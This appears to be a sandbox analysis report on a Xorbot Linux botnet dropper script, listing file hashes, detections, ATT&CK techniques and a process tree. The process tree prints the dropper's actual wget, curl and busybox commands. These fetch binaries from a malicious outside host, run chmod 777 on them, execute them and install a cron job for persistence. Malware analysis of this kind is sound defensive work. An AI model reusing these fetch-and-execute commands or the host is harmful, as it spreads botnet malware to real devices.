xorbot | 2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/02/2025, 23:12

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General

Target

bins.sh
Size

10KB
MD5

97fa31a6ea5fb450f4b293c1695590f1
SHA1

159bd52d99913da9322c119a059d3a365e4df48b
SHA256

2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb
SHA512

398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1
SSDEEP

192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1582) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1528	chmod
1536	chmod
1544	chmod
1554	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	1529	bins.sh
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	1537	bins.sh
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	1545	bins.sh
/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	1555	bins.sh

Renames itself 1 IoCs

pid	Process
1556	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RRhJIr	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/98/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/620/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1045/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1664/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1603/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/974/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1012/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/23/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/82/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/256/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1129/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1580/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1618/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/472/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/174/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/14/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/179/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/181/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1102/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/31/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/35/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/279/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1073/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1167/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1610/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1614/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1619/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/424/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1394/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1584/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1588/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1598/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1658/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1663/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1678/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/26/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/184/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/427/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/587/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1566/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1612/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1633/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1671/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1577/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1642/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1666/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1689/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1711/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/178/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/185/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1574/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1594/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1616/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1681/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1686/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1692/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/25/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1561/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1572/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1606/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1693/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/1704/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
File opened for reading	/proc/32/cmdline	vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1549	curl
1553	busybox
1565	wget
1527	busybox
1533	curl
1535	busybox
1541	curl
1543	busybox
1520	wget
1522	curl
1532	wget
1540	wget
1548	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	curl
File opened for modification	/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	wget
File opened for modification	/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6	curl
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	wget
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	curl
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	wget
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	curl
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1518
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  PID:1527
- /bin/chmod
  chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:1529
- /bin/rm
  rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1533
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  PID:1535
- /bin/chmod
  chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:1537
- /bin/rm
  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1540
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  PID:1543
- /bin/chmod
  chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:1545
- /bin/rm
  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1549
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - System Network Configuration Discovery
  PID:1553
- /bin/chmod
  chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1555
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1557
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1558
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1559
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1560
- /bin/rm
  rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
  2⤵
  - System Network Configuration Discovery
  PID:1565

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.RRhJIr

Filesize
210B

MD5
0346ada7dee6ad8ad28eec6acbe12fe2

SHA1
2436fa1708ac3cfa4015da14db0712f7535dea4a

SHA256
6a85a1118c9bdace7506b5c05123419e548bb101e0eaa64e26f36c5910782961

SHA512
39dbc2e4aee47f7b23359cf1b8f2479ea035ac6e40f54cc37a0d29b1ec1cfd56a5f18c3c819ce7490e161553ebdddb43624336b833504f42be5732567e7a377c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads